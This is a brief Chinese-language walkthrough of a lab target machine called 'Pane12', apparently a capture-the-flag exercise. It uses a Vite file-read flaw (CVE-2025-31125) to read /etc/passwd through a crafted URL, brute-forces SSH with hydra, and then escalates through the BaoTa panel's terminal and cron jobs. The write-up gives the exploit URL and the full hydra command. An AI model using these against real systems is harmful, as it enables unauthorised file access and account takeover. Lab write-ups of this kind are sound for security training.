Pane12靶机-Vite-宝塔提权 #
这边直接进入8080端口打开vite
启动后访问3000端口是一个宝塔的界面
这里使用nuclei或者你搜索CVE搜索漏洞可以发现一个CVE-2025-31125
192.168.1.208:3000/@fs/etc/passwd?import&?inline=1.wasm?init
base64解密
hydra -l welcome -P /usr/share/john/password.lst ssh://192.168.1.208:22 -V -I -f -u -t 50 -e nsr
拿到一个用户爆破
发现一个宝塔的程序可以先修改面板密码然后进入
进入后这里发现两个一个是直接打开终端
还有写计划任务
宝塔的计划任务目录在
/www/server/cron/
